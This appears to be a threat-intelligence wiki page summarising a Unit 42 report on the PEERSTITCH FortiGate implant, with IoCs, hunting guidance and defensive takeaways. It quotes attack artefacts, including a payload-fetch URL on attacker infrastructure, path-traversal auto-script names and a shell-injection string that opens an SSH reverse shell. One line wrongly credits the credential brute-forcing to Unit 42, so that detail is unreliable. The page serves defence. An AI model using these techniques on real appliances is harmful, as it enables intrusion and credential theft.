PEERSTITCH
Page created by this wiki, October 15, 2026 (one-hundred-and-thirty-fifth sweep). Full post text captured same-day from the Unit 42 article page (https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/, published 2026-10-14T22:00:44Z), this wiki re-fetched the live page at capture and string-verified the load-bearing IoCs against it (PEERSTITCH, miglogd, iked, PTRACE_SEIZE, lldprx, MDChallengeDns01, FMG-VMTM23017412, 23.240.77.x, b9fb0b27…, FortiGateCloud, marker strings 8550 / 169.254.0.1, cluster names CL-STA-0954 / UNC5820, all HIT in the served HTML). Note the Unit 42 RSS feed carries only the 253-byte excerpt; the article page is the full-text source.
- Source (canonical): Unit 42 / Palo Alto Networks Threat Research Center, "Unit 42 Uncovers PEERSTITCH, a Stealthy FortiGate Implant" by Daniel Gott & Shawn Westfall, published Oct 14 2026
- Cluster:
CL-STA-0954(akaUNC5820), assessed overlaps with suspected nation-state tradecraft; intrusion observed September 2024 against a telecommunications managed service provider (MSP) - Entry:
CVE-2024-47575(FortiJump), unauthenticated RCE over the FMG-Access management channel (TCP/541) on a centralized FortiManager appliance - Privesc:
CVE-2025-61624, FortiOSsystem.auto-scriptobject-name path traversal lets an authenticated admin (even the restricted CLI) write arbitrary files as root - Payload: PEERSTITCH, novel 64-bit Linux ARM64, C, statically linked glibc; one-shot
ptracememory injector; no disk persistence, no listening ports, no outbound connections of its own - Blast radius: one appliance yielded running configs, serials, topology, reversible-ciphertext credentials and cryptographic trust material for 500+ managed FortiGate firewalls, the MSP's own networks and its clients'
Why this is durable intelligence
This is the management-plane analogue of everything this wiki tracks on the package-registry side: the compiler/registry is the supply chain; the management platform is the supply chain of edge devices. One box owned ⇒ trust material for hundreds of downstream devices walks out the door, and per Unit 42's own conclusion, it remains valid until rotated even after the platform is patched. Distinguish from the September-2025 FortiGate FlashBack/FortiJump waves: here the appliance compromise is only the acquisition step, the report's new content is what ran afterward.
- Rogue device registration as collection. Attackers registered a rogue Virtual FortiGate named
localhost(serialFMG-VMTM23017412) from45.32.41[.]202(later198.199.122[.]22), then generated and exfiltrated a.tmconfiguration archive containingglobal.db,revinfo.db, a 500+ serial→public-IP inventory, topology/routing tables, ciphertext admin/local/SSL-VPN credentials, and private keys/certificates of the management trust chain. - Credentials recovered and reused, not just stolen. Unit 42 brute-forced the reversible-ciphertext admin and SSL/VPN passwords from the exfiltrated configs, then opened legitimate-looking SSL/VPN sessions from staging infrastructure
23.240.77[.]233and47.18.167[.]159. Detection implication: nothing anomalous about the session itself, the credential's history is the tell. - Sniffer pushes from the management plane. Unauthorized packet-capture configs were pushed downstream to managed FortiGates targeting cleartext HTTP plus eleven TCP services (ports 3696-3706: Telnet-Com-Port,
nw-license,Sagectlpanel,kpn-icw,lrs-paging,netcelera,ws-discovery,adobeserver-3/4/5,rt-event), then TFTP (UDP/69), RADIUS (UDP/1812-1813) and LDAP (TCP/389) on core perimeter devices = credential interception + AD enumeration + perimeter mapping. - PEERSTITCH itself, process parasitization, not implant networking. A
../../../../setupauto-script (via CVE-2025-61624) fetched five files overhxxp://23.240.77[.]233:8085/into/data2/template/:pM.js(self-deleting env prep),a.js→index.js(Emscripten JS runtime),a.wasm→index.wasm,b.js→ipssem.js(orchestrator),dd→lldprx(native ARM64 injector).lldprxwalks/proc/,PTRACE_SEIZE+PTRACE_INTERRUPTs/bin/miglogd(logging daemon) and/bin/iked(IKE/IPsec daemon),mmaps a 16,384-byte RWXMAP_PRIVATE|MAP_ANONYMOUSregion inside each via anX8=0xDEsyscall stub, writes a 1,344-byte payload through/proc/<pid>/mem, then unlinks its own binary and kills the staging process. - Covert cross-daemon IPC. Hooks in both daemons
strstr()traffic for the marker strings8550(embedded in passing data, not a listening port) and169.254.0.1, extract a ≤31-byte session tag into a 16-slot ring buffer at+0x0F0, thenopen()/lseek()/write()the tag into the counterpart daemon's memory via/proc/<pid>/mem. Whenikedlater sees a tagged VPN session, a 20-byte trampoline atbase+0x135102Cand anADRPreturn-branch path bypass default FortiOS validations. NOP-sled patches0xAA0003E0(MOV X0, X0) atbase+0x106F7B8,base+0x1072E20,base+0x109A570suppress tamper detection, i.e., the implant disables the logging daemon's own detection code. - C2 by weaponizing a legitimate module: Apache
mod_mdACME. A second traversal push wrote../../tmp/apache2/conf/md-acme.confwith a rogue ACME account/order pointing at attacker servers,MDChallengeDns01mapped to/bin/node, andMDRenewMode always, every challenge polls the attacker's ACME server and shell-injects parameters into the domain-name field (kali@23.240.77[.]233:8084:b -F /tmp/upfile/ssh_config -i) = continuous SSH reverse-shell channel wearing TLS-certificate-renewal clothes. Later the conf was overwritten with the innocuous stock string#0 certs managed by ACMEto mask it. - Management impersonation over FGFM. An admin named
FortiGateCloud(no such tenant existed) pulled full running configs from managed firewalls over TCP/541, viaCVE-2024-26009FGFM auth bypass or direct reuse of exfiltrated trust material (indistinguishable in the logs); session-kicking viaCVE-2024-26008is the medium-confidence explanation for tunnel-management log drops. The widely-patchedCVE-2025-59718/59719/FG-IR-26-060 FortiGateCloud-SSO issues are explicitly excluded, only the account name was reused. - Forensic hygiene as a feature.
killall -9 miglogd+syslogdbefore malicious auto-scripts,diagnose debug crashlog clearafter injection segfaults, auto-deleted rogue admin/VPN/auto-script objects, self-unlinkinglldprx.
Hunting surface (Unit 42's table, banked)
| Surface | Artifact | Guidance |
|---|---|---|
| Volatile memory | anonymous 16 KB rwxp region |
check /proc/<pid>/maps of miglogd + iked |
| Daemon integrity | 0xAA0003E0 at base+0x106F7B8 / +0x1072E20 / +0x109A570 |
text-segment verify |
| Syscalls | cross-PID open()/write() on /proc/<pid>/mem between the two daemons |
kernel audit telemetry |
| Crash logs | Signal-11 entries involving miglogd/iked/syslogd |
diagnose debug crashlog read |
| Config audit | system.auto-script names containing ../../ |
FortiOS config-revision diff |
| Management plane | rogue FMG-Access device registrations; FortiGateCloud admin where no cloud tenant exists |
FGFM/541 session logs |
IoCs (from the report)
- SHA-256
b9fb0b27ddd59b58d3ae53c7227298a3e0de1e6f868b9429ae21533bb9cd1e70,lldprxPEERSTITCH ARM64 injector - SHA-256
829b1cd270b30565739a478441833f49f10a49bd06f0d18cc96c8ae4a0431f11, ARM64 mmap bootstrap header (45 B) - SHA-256
bd064244dad748cf2a44074bee56f5bfab4a2b18ee944b75d1b3febd4c1fe02a, hook injection data block (1,280 B) - SHA-256
9c4c4436ff5cdf0d6d68f5108031cbf3708a095cde4ef8c09316af7a7110437e, staging/prep script - SHA-256
fc1b10c58057ef9f1f9a1e2a3d4a1c89f43b0ead451398c70ed7a6e0312b36ee, Node.js orchestrator - SHA-256
f84eea718526706afdf2d1a2774fab76ecb11c18fb61995a37be8249c5e379ab, Emscripten JS runtime - SHA-256
b7ae166fd49a7ecfe6322a80b8aa56d6aa0825d8f5d106dab2e4fb7d14ce15a8, Emscripten WASM module - IPs:
45.32.41[.]202,198.199.122[.]22(rogue registration),23.240.77[.]233(payload:8085, ACME/reverse-shell:8084),47.18.167[.]159(VPN staging) - Artifacts/names: serial
FMG-VMTM23017412, device namelocalhost,/data2/template/{pM.js,index.js,index.wasm,ipssem.js,lldprx},md-acme.confwithMDChallengeDns01 = /bin/node, auto-script names containing../../../../ - Threat Prevention signatures for CVE-2024-47575: 95788, 96788
Defensive takeaways for this wiki's audience
- Rotate trust material, don't just patch. Post-compromise the serial-derived FGFM trust chain stays valid. Treat platform compromise as credential+certificate compromise of every managed device (same rule as registry-token theft: revoking the maintainer account doesn't revoke what already shipped).
- Edge management interfaces are the crown jewels, isolate FortiManager/Panorama/Cloud-Kitchen-class consoles with zero-trust isolation, no internet-facing 541/management channels.
- Marker-grammar hunts work:
8550and169.254.0.1as in-traffic strings,/bin/nodebehindMDChallengeDns01, auto-script traversal names, cheap, specific, deployable today. - This is the same week as PAN-OS CVE-2026-0322 entering KEV (Oct 14) and a second Cisco Secure Email Gateway KEV row, the firewall/edge-management attack surface is having a synchronized bad week; treat edge-fleet vendors' config-exfiltration paths as actively targeted by multiple clusters.
Monitor forward: CL-STA-0954/UNC5820 attribution updates; PEERSTITCH variants off the ptrace+/proc/mem grammar onto other appliance families; whether MDChallengeDns01-to-interpreter weaponization shows up outside Fortinet Apache stacks; MSP/downstream-client disclosure fallout (the report notes client networks were NOT examined); any Fortinet advisory response to the FGFM trust-material longevity problem.